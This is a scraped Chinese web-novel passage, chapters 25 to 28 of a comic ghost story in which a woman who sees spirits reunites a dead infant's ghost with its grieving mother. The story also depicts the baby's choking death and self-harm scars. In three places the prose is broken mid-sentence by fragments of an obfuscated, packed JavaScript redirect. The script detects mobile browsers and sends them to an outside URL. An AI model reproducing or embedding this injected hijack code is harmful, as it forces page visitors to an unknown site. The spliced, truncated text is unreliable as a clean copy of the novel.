纪明霜带着林然栖身的洋娃娃出了门。 25. 第25章 晚安 雁雁妈妈在纪明霜家里焦躁不安地等待着。 坏消息，房间里有鬼，而且有三只，好消息，鬼正在打牌，都没搭理她。 如果纪明霜听到她的心声，就会告诉她，其实房间里有四只鬼，小鬼还挂在她的身上呢，看不见不代表不存在。 另一边，纪明霜先去了值班室，保安大叔的鬼魂正蜷缩在房间的角落里，纪明霜跟他打了个招呼，保安大叔的鬼魂开始瑟瑟发抖。 纪明霜打开了工具箱，从里面拿出一把斧头，而后，她提着斧头，在兼职保安震惊的目光中淡定地解释道，“借用一下。” “你……这是要去杀人？”兼职保安想起他的前两位同事，整个人都不好了。 纪明霜叹了口气，她不想吓到无辜的路人，于是开始一本正经地胡说八道，“我有一对双胞胎妹妹。” 兼职保安：“啊？” 纪明霜又说，“我爸今天晚上捡回来一根特别直的树枝。” “所以？” “所以两个小孩为了抢一根树枝又哭又打又吵又闹，三个半小时都没有消停，我妈受不了了，非要我再给她们弄一根回来。” 兼职保安顿时恍然大悟，“原来如此，怪不得你看起来这么疲惫……唉，没办法，养小孩就是这样的。” 在他同情的目光中，纪明霜提着斧头离开了公寓楼，过了半个多小时，她拖着四根特别直的树枝回来了，兼职保安就跟看见了宝贝一样，目不转睛地盯着，“我去，这么多，这么直，女侠，你从哪里找的啊？” 纪明霜说，“绿化带。” 这其实是林然帮忙找到的，纪明霜真的不擅长做这种事。 她把斧头放回了工具箱，顺便给兼职保安也递了一根树枝。 “这是给我的？”他有些受宠若惊。 纪明霜点点头，“一不小心多砍了一根，拿回家的话，小孩又要抢，更没个安生日子了……幸亏他们明天就走。” “这样啊……” 兼职保安接过那根匀称的树枝，嗯，这根树枝的直径比一元硬币大一圈，长度不到一米，表面比较光滑，没有特别粗粝的地方，虽然有一点枝节的痕迹，却不影响它的笔直，再稍微加工一下，就是一根非常优秀的直树枝了。 “你值班的时候，如果遇到什么，可以用它来防身，所以，我翻进绿化带的事……” “什么绿化带，没有的事，没有的事，你就放心吧……唉呀，要不是为了钱，谁来这鬼地方，有了这把圣剑，我就安心多了。”兼职保安在值班室里比划了几下，保安大叔的鬼魂又往角落里缩了缩。 纪明霜回到家里，雁雁妈妈激动地迎了上去，好奇地左看右看，“这是什么树的树枝啊，我听说有些树木能招阴，有些树木能驱鬼，有些树木能招魂，有些树木能辟邪……” 纪明霜擦了一把额头上的汗，“这个我真不知道……我就是去找了点粗细合适的树枝。” “啊？” 纪明霜把买来的线香点燃，插进香炉的灰堆里，而后把树枝放在旁边，嘴里又念叨着几个名字，让他们收用，于是，房间里的三只鬼拿到了属于他们的武器。 他们提着树枝，朝着雁雁妈妈围了过来，雁雁妈妈看着他们或狰狞，或冷漠，或邪笑的表情，不由自主地往后退去，她退到墙角，退无可退，于是缩着脖子，闭上了眼睛。 她确实听到了树枝划过空气的破空声，也听到了树枝打中物体的清脆声响，还听到了小孩子的尖叫哭喊声，她悄悄睁开眼睛，一条黑色的影子徘徊在她的脚边，它被树枝打中之后，爆发出婴儿一般的哭声，就像一个被虐待的普通小孩，雁雁妈妈有些心软了，但是为了雁雁，她的心又硬了起来，她闭上了眼睛，只装作听不到。 ——直到那个连话都不会说的小孩突然喊了一声，“妈妈！” 就好像异形在临死前呼唤母亲的声音。 雁雁妈妈忍不住睁开了眼。 那只小鬼被三只鬼用树枝抽打着，最开始的时候，它确实逃跑过，但它好像把雁雁妈妈的身体当做是自己的家，被逼无奈逃窜出来，转了个圈又躲藏回去，到后来，它被打得一直尖叫哭泣，却再也不肯离开雁雁妈妈。 小陈哥咬牙切齿地说，“这个小鬼……” 纪明霜说，“看来它是铁了心的不愿意出来……” 雁雁妈妈有些为难，“可是……它在叫‘妈妈’呢……” 小陈哥说，“真是难办……” 纪明霜想了想，对小陈哥说道，“孩子的亲生母亲呢……也许我们可以找她来帮帮忙？” 雁雁妈妈问道，“怎么帮？” 纪明霜说，“它想要你当它的妈妈，但它肯定更想要亲生妈妈，如果它的亲生妈妈来了，它就会从你的身上下来了。鬼不是想挂在谁身上，就能挂在谁身上的，现在，它消耗了太多力量，暂时没办法挂在它的亲生妈妈身上，利用这个时间差，我们就能……” 雁雁妈妈有些担心，“可是，这下，它不是听到了我们的计划吗？” “它太小了，不一定能听懂，而且……”纪明霜说，“我之前也遇到过这样的小鬼，就算能听懂也是一样的，无一例外，全部上当，它死的时候太小了，依恋母亲是它的本能，现在就看它的亲生母亲愿不愿意帮我们的忙了。” 小陈哥叹了口气，“幸亏我认识它的亲生父母，它是我远方表哥表嫂的孩子，但是我不知道表嫂的电话号码……还是先打给我表哥吧。” 现在已经是深夜，纪明霜也不想在这个时候打扰别人，但现在的情况比较特殊，她硬着头皮给小陈哥的远房表哥打了电话。 电话铃声响了很久都没有人接，纪明霜又打了第二个电话，而后，电话才被接了起来，远房表哥的声音里满是困意与怒气，纪明霜没有多说，只是问了表嫂的电话号码。 电话挂断之后，纪明霜又给表嫂打去了电话，电话那头是一个温柔但疲惫的女声，“喂？” 听到表哥的声音之后，小鬼没什么特殊的反应，但是听到表嫂的声音之后，小鬼立马变得躁动了起来，纪明霜说，“你好，请问是张女士吗？” “是的。” “那个，我是灰灰公寓的住户，住在你之前住过的房间里……” 对方的声音变得冷漠起来，“哦，然后呢？” “关于你的孩子的事……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419838|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对方打断了纪明霜的话，“够了，请不要跟我提起这件事，我不需要同情，也不想成为你们的谈资，我已经有了新的生活，请不要再来打扰我，我要挂断了！” “等一下，你的孩子还在这里，它缠上了另一个母亲，我们需要你的帮助。”纪明霜说。 对方沉默了一会儿，嗤笑了一声，但她的声音却是在哭着的，“哈哈，什么嘛，你们是骗子团伙吗，这样莫名其妙的话，我怎么可能会相信。” “但是你并没有挂断。”纪明霜说，“我想跟你说一下最近发生的事，首先是自我介绍，我的名字叫纪明霜，我能看到一些别人看不到的东西……” 纪明霜把最近发生的事情跟张女士说了一遍，当然，她特意模糊掉一些不好的事，比如她摇来三个鬼把张女士的孩子打了一顿，把孩子打得哭爹喊娘，可怜极了，所以她只是说，“嗯……我们尝试了很多方法，想把这个孩子赶走，但它一直不愿意离开，因为它想要妈妈。” 张女士吸了吸鼻子，“我现在在外省，我会买最近的机票回去……在此之前，我的孩子就拜托你们照顾了……” 纪明霜说，“好的，谢谢你愿意过来帮忙。” 张女士说，“……没关系，是我应该谢谢你。” 这时已是凌晨三点了，纪明霜也差不多到极限了，雁雁妈妈不敢一个人住，她回家搬了铺盖，在纪明霜家的客厅打了地铺。 虽然纪明霜家里有些吵闹，三只鬼打牌的声音没有停歇，但也总比她自己一个人睡在安静又黑漆漆的房间里要好得多。 她给女上司发短信请了假，没想到对方居然秒回了。对方不仅给她批了假条，还给她发了雁雁熟睡的照片，看着女儿乖巧睡觉的模样，雁雁妈妈觉得安心多了。 纪明霜回到了房间里，之前出去砍树枝，弄得洋娃娃的身上脏脏的，纪明霜摆弄着洋娃娃，说，“你的身上好脏哦，需不需要我给你洗干净？” 林然这才从洋娃娃中现身，“算了吧，你现在立刻上床睡觉，我担心你会猝死……” 纪明霜打了个哈欠，她躺在床上，盖好被子，仍能隐隐约约听到客厅里三只鬼打牌的声音，“等这件事过去了，就让他们去小陈哥家里住……” 林然坐在她房间的书桌前，“是啊，再加上那只小鬼，正好能凑一桌麻将。” “你为什么不和他们一起玩啊，你不会觉得孤单吗？” “因为你可以在三秒之内突然死掉。” 纪明霜又问道，“我死掉的时候，你一定很疼吧……” “……没关系的。” “死亡是什么感觉，会很可怕吗？” “我死亡时的感觉，已经完全忘记了。”林然说，“但是我知道濒死时的感觉，在生理性的痛苦结束之后，是一种压倒性的绝对安逸与幸福……就像陷进了柔软、温暖又舒适的棉花里，想要永永远远地沉沉睡去。” 纪明霜已经很困了，她说，“就像我现在一样，只想睡个好觉吗？” “稍有差别，比如你现在可以做个好梦。” 纪明霜听到他轻声说，“晚安。” 她在心里对他说，“晚安。” 26. 第26章 母亲 第二天，纪明霜无论如何都不想起床去上班。 所以，林然替她上了班，午休之后，纪明霜才恢复了精神。 下午四点半左右，张女士到达了纪明霜所在公司的楼下。 虽然张女士很想直接去灰灰公寓，但纪明霜再三叮嘱过她，绝对不能直接进入灰灰公寓，因此，张女士先去了公司楼下的咖啡店。 纪明霜收到消息之后就下了楼，大概用了五分钟的时间，但张女士实在是太着急了，五分钟的时间给纪明霜打了三个电话，纪明霜到店里之后，先点了两杯牛奶，而后坐在了张女士的对面。 纪明霜这几天都没有休息好，虽然林然能替她上班，但身体的疲惫却无法缓解，所以黑眼圈有点重，看着有点憔悴。 但张女士看起来比纪明霜还要憔悴，她的脸色发白，双颊泛红，厚重的风衣包裹着瘦削的身体，显得有些摇摇欲坠。 她用双手捧着牛奶杯，试图汲取一些温度，因为紧张，她的手也在发抖。 她真的很瘦，手腕处的骨头很是突出，白色的链式女士手表也松松垮垮的， 纪明霜开始怀疑请张女士来帮忙是否是正确的选择了。 早知道的话，也许可以问一下周可音？ 但纪明霜最近几天都没有见到她。 也许可以请那位道长来帮帮忙，如果一张符箓不够，那再来二十张怎么样，就算是仿制的符箓，也是有一定作用的。 也不知道那些符箓的价格贵不贵，能不能给纪明霜一个友情价。 “那……纪小姐，我什么时候能见到我的小宝？”张女士的语气里满是忐忑。 纪明霜没有说话，只是静静地看着她。 张女士咬了咬嘴唇，“纪小姐？” 纪明霜叹了口气，“很抱歉，张女士，突然把你叫过来，但是……你现在的状态，我有些担心……” 张女士打断了她，“没有，没什么可担心的，我现在很好，要多好有多好。” 纪明霜摇了摇头，“张女士，我能看得出来，你的状态并不好，你也知道的，那栋楼很阴，我是想帮助那个小女孩的妈妈，但我也不希望你陷入危险，那个小鬼……咳，那个小孩真的很难搞定。” 张女士握住了纪明霜的手，她双眼含泪，注视着纪明霜的眼睛，“那，纪小姐，你们应该也需要我的帮助吧……” 她的手指很细，也很凉，她真的好瘦，简直就像一层皮囊包裹着一把骨头，风一吹就会散架。 “张女士，你……还是没有办法走出来？” “呵……哪有那么容易啊……”张女士深深呼出一口气，“两年前，我的小宝出生了，我的生产并不顺利，所幸我的小宝很健康。小宝并不是那种很可爱的小孩，他的眼睛好小哦，只有一条细细的缝，而且他的头也扁扁的，鼻孔大大的，就像插座一样，但是我真的好喜欢他，我真的好爱他，怎么看也看不够。 “可惜我的产假只有三个多月，只能让我妈从乡下过来帮忙照顾小宝，我现在真的好后悔，好后悔……如果我当时直接请假，甚至辞职来照顾小宝就好了，或者请个专业的育儿嫂，或者保姆，何必要省这些钱呢……” 纪明霜静静地听着，张女士继续说，“小宝过完百日之后，我妈就过来了。我后来查监控的时候才知道，小宝的头越来越扁，是因为我妈……她认为，头扁的小孩更好看，更有福气，所以只让小宝平躺着睡觉。其实那个时候我就应该开始干预了，但我当时刚回职场没多久，正好在跟进一个重要的项目，每当我临走的时候，都要去看小宝一眼，看到他那乖巧可爱的模样，我都充满了力量，不像现在，说起这些事的时候，我就像是那个祥林嫂……我怎么活成这副模样了。” “后来呢，后来发生了什么？” 如果知道了小鬼的死因，也许张女士就不用涉险了。 “小宝六个月的时候，我前夫买回了一箱葡萄，大颗大颗的，一整串都甜。我怀孕的时候就很爱吃葡萄，临盆的那天，去医院之前，我也吃了一小串。那天，我的项目刚刚结束，能有更多时间陪小宝了，我当时真的好开心，我前夫、我妈和我一起一边看电视，一边吃葡萄，聊得很开心。 “那时，我妈突然对我说，‘好了，我吃饱了，去给小宝喂一点葡萄。’ “我说，‘不行，小宝太小了，不能吃葡萄。’ “我妈嘟囔着，‘稍微吃一点没关系的，葡萄里都是汁水，我一小口一小口地喂，不会有事的。’ “我说，‘那也不行，妈，你不能给小宝喂葡萄。’ “我妈说，‘小孩子应该吃一点葡萄，这样对身体好，葡萄里含有维生素，小孩子吃了能变聪明，还能长高。’ “我说，‘妈，小宝现在不缺营养，吃葡萄可能会窒息的，而且那么多糖，对牙齿也不好啊。’ “我妈说，‘小孩子牙齿不好也没关系，反正以后要换牙的，我同事家的孙女也爱吃糖，牙齿都变黑了，换牙之后照样是一口好牙。’ “我说，‘小宝才六个月，不能吃葡萄的，有窒息的风险。’ “我妈有点恼了，‘喂，你这是什么意思，我还能害小宝不成，我千里迢迢地过来这边，给你和阿俊带孩子，你这是什么态度？’ “当时我老公也在，他也说，‘妈，小孩子不能吃这个的，你等小宝大了再给他吃嘛，我以后再买呗，回来看电视吧。’ “我妈瞪了我一眼，就坐回来看电视了，过了一会儿，她去了小宝的房间。 “我当时看了她一眼，问她，‘妈，你去干嘛啊？’ “我妈没好气地说，‘上厕所。’ “我说，‘你怎么去主卧的厕所啊？’ “她说，‘我乐意。’ “我当时只当是她的心情不好，我妈就是这样的性格，心情不好就会到处找茬，我也不想触她的霉头，没有跟她多说话。但是，过了十来分钟，她突然走出来，问我说，‘小宝不能吃葡萄吗？’ “我觉得莫名其妙的，我说，‘当然不能啊，我不是早就说过了吗？’ “我妈没有跟我呛声，她又回主卧了，我觉得有点不对，她不是这样的性格啊，如果是平时的话，她早就开始跟我吵架了。我当时有种不好的预感，就去主卧看了看，我这辈子都没有办法忘记当时的场景，我妈抱着小宝，一直在很用力地拍小宝的背，但小宝当时已经呼吸困难了，他一直在努力地呼吸，但他看起来真的好难受，好痛苦……我吓得六神无主，赶紧把我的老公……嗯，我的前夫喊了过来，让他赶紧过来帮忙。我老公会海姆立克急救法，但是那颗葡萄一直没有吐出来，我赶紧打了急救电话，但是我的小宝……我的小宝…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419839|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在救护车到来之后，就没有反应了……” 纪明霜没有说话，看来，小宝在那时就已经去世了。 只在死在灰灰公寓的鬼，才会被困在灰灰公寓，小陈哥死在灰灰公寓，所以他没办法离开，林然没有死在灰灰公寓，所以他才能跟着她一起去上班。 张女士继续说，“救护车来得很快，十来分钟左右就到了，期间，我和我老公一直按照医护人员的指导，尽量抢救我的小宝，但是……海姆立克也没有用，因为那颗葡萄是整颗的，又软又滑，小宝吐不出来，吐不出来……在救护车上，医生让我做好心理准备，我当时突然有一种强烈的预感，我的小宝再也不会睁开眼睛了…… “但我还抱着最后的希望，我一直在祈祷，如果有奇迹就好了，如果小宝能活下来，哪怕变成一个傻子，哪怕生活不能自理，我也愿意照顾他一辈子，可惜，直到最后，奇迹也没有发生，到了医院之后，我才真正死心。我这一生从来没有做过什么坏事，我也不知道为什么会是这样…… “我都不知道我是怎么回到家里的，回家的时候，好像已经是第二天早上了吧……那些葡萄还放在桌子上，前一天晚上，我一颗一颗地用剪刀剪下来，洗干净，放进盘子里，桌上还放着没吃完的饼干和糖果，还有插着烟头的烟灰缸，我走进了主卧，看着小宝的婴儿床、小枕头、小被子，我居然有一种强烈的不真实感，我的小宝，我的小宝……怎么就没了呢？” 张女士的情绪很是激动，纪明霜都担心她会晕倒，张女士却说，“没关系，让我说出来，我也能好受一点……我在小宝的床前崩溃大哭，我妈妈来跟我说话，我要么不理她，要么让她滚蛋，她也很委屈，她坐在地上，扇自己巴掌，扯着嗓子嚎叫，‘我不活啦，我不活啦，我不活啦！都是我的错，我以死谢罪，总行了吧！’ “我……没有办法原谅她，我说过多少次，不能给小宝吃葡萄，不能给小宝吃葡萄，她还是偷偷去给小宝吃葡萄，而且她没有及时通知我，如果她一发现不对就告诉我，也许小宝还能有救……从此以后，我再也不能碰葡萄，碰到就会恶心反胃，嗓子眼里不停地涌酸水，眼泪也跟着往下掉。 “最后，她对我说，‘女儿，对不起，妈妈错了，趁着你还年轻，再生一个吧，算妈求你了。’ “我知道，确实是这个道理，但是，那个时候，我的小宝去世了十天不到，她就对我说出这样的话了……我无论如何都没有办法原谅她。就算再生十个，一百个，也都不是我的小宝啊，我当然知道，我也有自己的生活，但我睁开眼睛，就想起我的小宝，闭上眼睛，又想起我的小宝，医生推荐过很多疗法，但都不怎么管用，就算是吃药，也是一样的，一停药就复发，一停药就复发，我想我这辈子是好不了了。 “后来，我的身体暴瘦，精神也变得很差，离婚了，项目丢了，工作黄了，只能四处漂泊，打打零工。我妈毕竟是我妈，当然也会心疼我。于是，我就开始主动伤害我的身体了，因为我看到她痛苦的神情，心中居然有了一丝快意……可是，她是我的妈妈，我是她的女儿，但是，我们现在居然成了这样的关系……真是可悲又可笑。” 张女士抬手擦了擦眼泪，纪明霜注意到了她手腕上的划痕。 “所以，纪小姐，拜托你，无论如何，我都想见到我的小宝，拜托你了……” 27. 第27章 玩具 纪明霜在心里叹了口气，真是给自己找麻烦啊…… 在张女士的描述中，小宝虽然长得不是非常好看，但至少是一个普通的小孩，但现在，小宝变成了小鬼，已经变得黑漆漆的一团了，变成人形的时候也有着无神的眼睛，发青的身体，乍一看还挺吓人的，仔细一看就更吓人了。 张女士看上去比纪明霜还脆皮，纪明霜担心她接受不了，更担心她坚持不住。 纪明霜有些为难，“这个嘛……” “我明白的，我明白的。”张女士突然反应过来，她拿出手机，说，“那个，纪小姐，呃不，纪大师，那个，我最近有些拮据，可以分期付款吗？” 纪明霜摇了摇头，“我不是这个意思，只是，小宝已经不是当初的模样了，所以我担心你看到之后会……呃，比较激动？” 张女士坚定地说，“没关系的，我只要我的小宝。” 纪明霜说，“张女士，我理解你的心情，但是我担心你会被小宝缠上，那就再也无法离开灰灰公寓了。据我所知，上一个被鬼缠上的人，是个大家都觉得和善的老保安，他已经因为心脏病发而死了，据说他生前受到了很大的惊吓……” 张女士急急地打断了她，“没关系，我不在乎，只要我能见到我的小宝……” 纪明霜：“啊？” 张女士立马改口，“不是，我是说，我会听纪大师的话，但是我的小宝……” “没关系，那个小陈哥你认识吧，毕竟是以前的房东，他很关照小宝的，之前小宝走丢了，还是他一层一层地找，总算在十二楼的一个房间里找到了小宝……” “居然还有这样的事，真是太感谢他了……” “是的，所以你不必担心……到时候，我会拿给你一张符箓，你一定要把符箓贴身收好，知道吗？” 张女士重重地点头，“知道了！” 今晚，纪明霜的心肝宝贝小电驴被她停在了公司附近的非机动车停车场，在这样偏僻的地方，停车费却这么贵，一晚上就要五块钱。 但是，纪明霜左思右想，如果她的小电驴丢了，那损失可就太大了。至于这五块钱，可以从林然的伙食费里扣啊。 林然颇为无语地瞥了她一眼：“我又不用吃饭，你可以全部扣光。” 纪明霜叫了一辆出租车，她戴着耳机坐在副驾驶，张女士忧心忡忡地坐在后排，无论是出租车司机还是张女士，都认为纪明霜是在打电话。 “我是开玩笑的啦，我怎么会克扣你的伙食费呢，大不了我们一人少吃一个鸡腿，只不过……我真的好困啊，真想好好睡一觉……” “……等这件事结束了，就可以好好休息了。” “我也是这么想的。”纪明霜打了个哈欠。 到了灰灰公寓门口，司机停下了车，纪明霜率先下了车，张女士紧紧地跟在纪明霜的身后，她说，“为什么……这栋楼的颜色这么灰，甚至比之前还要灰……” 纪明霜抬头看着公寓楼：“不知道，反正我搬过来的时候就已经很灰了。” 张女士走到了纪明霜的前面，“那我们进去吧。” 纪明霜拉住了张女士，“你不用进去，我让她下来。” 说着，她给雁雁妈妈去了电话，接到电话之后，雁雁妈妈立刻下了楼。 她走出电梯，隐约看到公寓楼大门口的两个身影，突然感觉身上一轻，她低头一看，那条鲶鱼一样的黑影已经从她的身上游到了门口，她听到纪明霜在喊，“就是现在！” 雁雁妈妈立刻拔腿就跑，她穿着一双玛丽珍高跟女鞋，步子却迈得很大，跑得飞快，穿过了公寓楼的旋转门，不顾兼职保安和几个业主疑惑的目光，跑到公寓楼门外，看着投在室外地面上的阳光，终于感觉自己活了回来。 她回头，想再看一眼跟着她一起下楼的三只鬼，可惜没了小鬼的debuff加成，她已经看不到它们了。 她把符箓拿出来，郑重地交还给了纪明霜，由衷地感激道，“多谢你了，纪大师，要不是你，我和雁雁恐怕就……” 纪明霜接过符箓，转手拿给了张女士，“没关系的，加油，好好准备笔试和面试，生活会好起来的。” 雁雁妈妈点了点头，她含着眼泪，离开了这里。 张女士虽然没有小鬼的debuff加成，却仍能看到公寓楼门口那团小小的黑色影子，因为她实在是太虚弱了。 在别人眼里也许是阴森可怕的鬼影，在她眼里却是惹人怜爱的小宝，她一眼就认出了自己的孩子，她走到公寓楼门口，蹲了下来，隔着玻璃轻抚着小宝的脸庞，眼泪滑落，“小宝……” 小鬼也站在她的面前，此刻的小鬼无比乖巧，它站在门口，把黑漆漆的小手贴在玻璃门上，嘴里喊着，“妈、妈。” 张女士愣了一下，小宝去世的时候才六个月大，还不会说话呢，在小宝出事之前，她总是想着，小宝什么时候能说话，什么时候能走路，什么时候能上学，但在小宝去世之后，这样的事，她再也不敢想了。 她从没想到，居然有一天，她能听到小宝喊她，“妈妈。” 张女士想对小宝说，妈妈在这里，但她一张嘴，嘴里的话就变为了破碎的哽咽。 她想尝试着说话，深深地吸了两口气，却激动得发不出声音，她尽量咬着嘴唇，克制着嚎啕大哭的冲动，在人家公寓楼门口嚎叫，简直像一头大叫驴一样。 兼职保安和住户已经围过来了，兼职保安说，“那个，女士，你是业主吗，你是遇到什么困难了吗？” 纪明霜赶紧走了过去，解释道，“没有，没有，只是不用带孩子了，她喜极而泣。” 兼职保安认出了纪明霜，“是你啊，女侠，唉，带孩子就是这样的……你们也别围观了，散了散了！” 张女士想走进大楼，却被纪明霜拉住了，“张女士，你已经看到了小……小宝，至少能说明我说的话是真的，对吧。” 张女士狠狠抹了一把脸上的泪水，“嗯嗯，谢谢你，纪大师，要不是你，我都不知道我把小宝丢在了这里……小宝、小宝去世之后，我看到他的床，他的小衣服，他的小被子，关于他的一切，我都会哭，根本没办法正常生活……所以我搬离了这里，要不是你打来的那个电话，我这辈子都不会回到这里了……” 纪明霜说，“但是你现在还不能进入楼里，你实在是太虚弱了，你以前能看到鬼吗？” “不能，但是……” “行了，没有但是，问题已经很严重了，我建议你在附近找一份工作，每天认真地吃饭和睡觉，直到你的身体恢复正常，才可以进入这栋楼里。” 张女士居然笑了，“没关系，你不是说过吗，死在这里的人，会永远留在这里，我愿意永远留在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419840|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，永远陪着我的小宝。” 纪明霜也笑了，“你也知道的吧，死在这里的人，会永远留在这里，也就是说，如果你死在这里，那你和你的小宝，就都跑、不、掉、了、哦。” 此时，公寓楼里，小陈哥，女鬼和保安小哥作为气氛组闪亮登场，小陈哥摆了个自信但油腻的姿势，女鬼低着头，摆弄着手里的眼球，保安小哥则是一个朴实无华的吸尘器，小鬼大概是回想起了昨晚的群殴，很配合地缩在了角落里。 张女士愣了一下，“纪大师……为什么，如果你是想要钱，我可以把赚的钱都给你……” 纪明霜继续慢吞吞地说，“好可怜哦，现在的小孩都好喜欢那个多功能变形消防车的玩具呢，如果你也变成了鬼，那小宝就再也玩不到了呢……” 张女士：“……玩具？” 纪明霜做出浮夸的吃惊表情，“不会吧，不会吧，你家小宝不会连玩具都没有玩过吧，那零食呢，漫画呢，衣服呢，鞋子呢，你要是死了，他这辈子可就享受不到这些了……” 张女士的目光移到了小鬼身上，小鬼一边吃着手，一边有些局促地摸着身上皱巴巴的衣服，两只黑色的小脚也脏脏的，此刻正在左脚蹭右脚，右脚踩左脚，配上它懵懂的眼神和渴望的表情，在张女士眼里，显得可怜极了。 小陈哥叹了口气，“唉，两年左右没见表嫂了，没想到她现在居然这么瘦……我这么胖也没活下来，她这么瘦居然也没死，真是佩服佩服。” 张女士对纪明霜深深地鞠了一躬，“谢谢你，谢谢你，纪大师，是我狭隘了，刚刚居然这么想你，真是非常抱歉，你甚至都没有要一分钱，就连刚刚打车的钱也是你付的……” 纪明霜伸手，“等等，不是免费的，符箓是要收费的，打车钱也要跟我AA。” 张女士：“啊？” 纪明霜：“拜托，我也是要过日子的，嗯，我的报价是这个数。” 在车上的时候，纪明霜就给那位道长发了短信，道长也很快回复了纪明霜，关于仿制符箓的单价、批发价和销售提成，还有使用的注意事项，所以，纪明霜给张女士的报价是五张仿制符箓外加AA车费的价格，并不算昂贵。 对于张女士来说，这个价格很是公道，已经远远低于她的预期了，况且这是为了她的小宝，再怎么贵也是值得的。 对纪明霜来说，一张正品符箓的价格，换回五张仿制符箓，之后的销售还有提成，也算稳赚不亏。虽说是一张正品符箓，但拯救了两位母亲，也给她和道长积攒了福德。 而且，小鬼一直在楼里，如果有别的妈妈带着小孩搬过来，同样的危险还会再次出现。有张女士在，就能排除掉小鬼的威胁，张女士也能重新振作精神，好好生活了。 如果小鬼挂在张女士身上的话……张女士是它的亲生妈妈，妈妈爱它，它也爱妈妈，所以它不会乱来，就算是小鬼，也只是个小孩，小孩的感情是很纯粹的，带着天然的信任与依恋。 如果张女士能出去工作，还能给它带回玩具和零食，何乐而不为呢？ 就连小陈哥也感叹，“唉，有妈的孩子像块宝，现在这只小鬼，可是楼里最幸福的鬼了。” 女鬼也幽幽地说，“是啊。” 纪明霜看着女鬼看似冷漠的神情，对她说道，“……当时，你妈妈给你发的信息内容，你……想知道吗？” 28. 第28章 梦话 女鬼沉默了一会儿，点了点头。 “她说，‘对不起，宝宝，妈妈错了，快回来吧，妈妈好担心你呀。’” 女鬼愣了一下，但是，她已经流不出眼泪了，她站在原地，低下了头，仅剩的另一颗眼球掉了出来，滚在地上，像一颗普通的正宗手打爆汁纯天然无添加牛肉丸。 纪明霜听到她的喃喃自语，“妈妈……” 纪明霜看过女鬼的记忆，这是她最后的念头，在某种程度上，也算是她的执念，如今得知了真相，也算是一种遂愿。 只是，她心中的悲伤，只能让她自己慢慢消化了。 …… 张女士没有停留很久，这里的阴气实在是太重了，待久了对她的身体不好。她被纪明霜说服，决定暂时离开，临走时，她一步三回头地痴望着小鬼，小鬼也眼泪汪汪地对她说，“妈、妈。” 要不是有纪明霜拦着，张女士差点又痛哭流涕着折返回来。 送走张女士之后，小鬼也不像之前那样躲躲藏藏的了，他低下头，有些扭捏，胡乱地抓着身前皱巴巴的衣服，对纪明霜说，“谢、谢。” 丝毫不在意纪明霜昨晚摇来三只鬼把它痛殴了一顿的事。 小陈哥笑了笑，露出一排大牙，“瞧，它还得谢谢咱呢。” 小鬼对着小陈哥做了个鬼脸，就怪叫着跑走了，血脚印连成一串，纪明霜吐槽道，“哪像是小孩嘛，分明是一只偷东西得手的野生猴子。” 看着小鬼的背影，小陈哥也颇为赞同，“确实。” 纪明霜回到了房间里，把三只鬼、不对，加上小鬼，现在是四只鬼了。 嗯，把四只鬼都赶到隔壁去，纪明霜感觉清净多了。 她今晚睡得很早，当然，凌晨照例要起床喝水。 喝完水回到房间，看到洋娃娃乖乖地坐在她的枕头边，似乎正在看着她，纪明霜趴在床上，戳了戳洋娃娃的脸蛋，“林然？” “嗯。” “你是在发呆吗？” 林然现身，“怎么，睡得太早了，现在失眠了？” 纪明霜说，“我好想吃冰激凌啊，华光商场顶楼的冰激凌……” “刚睡醒不要吃冰激凌，你之前在公司睡午觉，睡醒之后去茶水间听八卦，一不小心拿错杯子，喝了一口冰水，喝完之后，你立刻开始头晕恶心，失去意识倒在地上，幸运的是，你的同事把你及时送到了医院，不幸的是，抢救没有成功，死因是脑出血。” 纪明霜：“啊？” 林然继续说，“华光商场顶楼有免费试用的按摩椅，那天，冰激凌机还没好，在你等冰激凌的时候，顺便体验了一下，按摩椅漏电了，嗯，也是当场死亡。” 纪明霜：“这……” 林然叹了口气，继续说，“还有一次，你吃到了心心念念的冰激凌，但是冰激凌里有石头，嗯，你被噎死了。” “啊？”纪明霜倒吸了一口冷气，“我真的因为吃冰激凌而噎死过，这也太荒谬了吧……” 林然点了点头，“是的，在一般情况下，人吃冰激凌并不会被噎死。但是那天，有个男生向女朋友求婚，把戒指藏在了冰激凌里，但店员和这个男生有一点……嗯，感情纠葛，所以把戒指换成了男生之前送给她的心形石头，但你错拿了那个冰激凌。那天商场里有很多人，你被噎住的时候，那个男生正在求婚，没有人注意到你的动静，所以你就……” 纪明霜面无表情地问道，“死了？” 